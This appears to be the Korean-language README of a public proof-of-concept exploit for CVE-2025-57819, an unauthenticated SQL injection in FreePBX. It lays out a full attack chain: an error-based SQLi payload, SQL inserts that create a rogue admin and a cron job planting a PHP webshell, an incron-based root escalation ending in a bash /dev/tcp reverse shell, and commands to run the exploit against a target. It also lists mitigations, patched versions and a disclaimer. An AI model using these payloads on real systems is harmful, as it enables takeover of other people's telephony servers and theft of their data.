FreePBX CVE-2025-57819 - 인증되지 않은 SQLi를 이용한 RCE PoC

교육 및 보안 연구 전용 - 아래 법적 고지 참조

CVE-2025-57819는 FreePBX에서 원격 코드 실행을 허용하는 치명적인 인증되지 않은 SQL 인젝션 취약점입니다. 이 PoC는 공식 패치가 공개된 이후 보안 연구 및 승인된 테스트 목적으로만 게시되었습니다.

개요

FreePBX 15.x, 16.x, 17.x(패치된 버전 미만)는 endpoint 모듈의 AJAX 핸들러에서 인증되지 않은 SQL 인젝션에 취약합니다. 이 취약점 체인은 다음을 허용합니다:

1. SQL 인젝션을 통한 관리자 계정 생성
2. 인증된 cron 작업 삽입을 통한 웹셸 배포
3. sysadmin_manager 후크 체인을 통한 루트 권한 상승 (incron 사용 가능한 경우)
4. 리버스 셸 접근으로 전체 시스템 장악

취약점 세부 정보

취약한 엔드포인트

GET /admin/ajax.php?brand=<PAYLOAD>

endpoint 모듈의 AJAX 핸들러에 있는 brand 매개변수는 검증 없이 사용자 입력을 수락하여 오류 기반 SQL 인젝션을 유발합니다.

공격 체인

1단계: SQL 인젝션 및 관리자 계정 생성

EXTRACTVALUE() 오류 기반 추출을 사용하여 데이터베이스 이름을 유출함으로써 SQLi를 확인합니다:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

asterisk.ampusers에 새 관리 사용자 삽입:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

2단계: 인증된 Cron 작업 삽입

유효한 관리자 자격 증명을 사용하여 익스플로잇이 FreePBX에 인증하고 인증된 세션을 설정합니다. 세션 쿠키는 저장되며 이후 모든 인증된 요청에 사용됩니다.

asterisk.cron_jobs에 웹셸 명령 삽입:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

FreePBX cron 실행기가 asterisk 사용자로 명령을 실행하여 PHP 웹셸을 배치합니다.

3단계: 웹셸 활성화

PHP 웹셸이 /var/www/html/shell.php에 배포됩니다:

<?php system($_GET['cmd']); ?>

익스플로잇은 웹셸이 활성화될 때까지 폴링하여 asterisk 사용자(uid=999)로 RCE를 달성합니다.

4단계: 권한 상승 (조건부)

대상에 incron이 구성된 경우:

1. /var/spool/asterisk/incron/에 트리거 파일 생성
2. incrond(루트로 실행)가 파일 생성을 감지
3. 트리거 파일 이름으로 /usr/bin/sysadmin_manager 호출
4. sysadmin_manager가 GPG 서명을 검증하고 fwconsole-commands 후크로 전달
5. 후크가 페이로드를 디코딩하고 실행: /usr/sbin/fwconsole <COMMAND>
6. 명령 인젝션: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

결과: 리버스 리스너에서 루트 셸 확보 (incron 사용 가능한 경우).

악용하는 취약점

• brand 매개변수에 대한 입력 검증 부재
• 다중 쿼리(stacked query) 실행으로 데이터베이스 조작 가능
• 쓰기 가능한 asterisk.cron_jobs 테이블이 asterisk 권한으로 명령 실행
• 생성된 관리자 계정의 쿠키를 통한 인증 세션 유지
• 루트로 실행되는 incron 파일시스템 모니터링
• 검증되지 않은 fwconsole 후크 실행 및 명령 인젝션

설치

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

사용법

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

영향받는 버전

완화 조치

즉시 조치:

• 신뢰할 수 없는 네트워크에서 /admin/ajax.php 접근 제한
• 필요하지 않으면 incron 비활성화: systemctl disable incrond

영구 조치: 패치된 버전으로 업그레이드: 15.0.66+, 16.0.89+ 또는 17.0.3+

참고 자료

• CVE-2025-57819
• CISA KEV 카탈로그
• FreePBX 보안 권고

법적 고지

⚠️ 면책 조항

이 개념 증명(PoC)은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 저자는 이 도구로 인한 오용이나 피해에 대해 책임을 지지 않습니다.

다음을 준수해야 합니다:

• 컴퓨터 사기 및 남용 법안(CFAA) 및 해당 관할권의 동등한 법률
• 소유했거나 명시적인 서면 승인을 받은 시스템만 테스트할 것
• 보안 테스트 전에 서면 허가를 받을 것
• 책임 있는 공개 관행
• 개인정보 보호 및 데이터 보호 규정(GDPR, CCPA 등)

금지된 용도:

• 컴퓨터 시스템에 대한 무단 접근
• 서면 동의 없는 침투 테스트
• 서비스 방해 또는 데이터 도용
• 모든 악의적 또는 불법 활동

책임 면제: 저자는 다음에 대해 책임을 지지 않습니다:

• 무단 접근 또는 형사 고발
• 시스템 손상 또는 데이터 손실
• 오용으로 인한 법적 결과
• 컴퓨터 사기법 위반

이 취약점은:

• 공개적으로 공개됨 (CVE-2025-57819)
• 패치가 공개적으로 제공됨
• 보안 연구 목적으로만 게시됨
• 패치 공개 후 책임감 있게 공유됨

작성자

JazzTheRabbit

• GitHub: @JazzTheRabbit
• HackTheBox: @JazzTheRabbit
• YouTube: JazzTheRabbit

라이선스

MIT License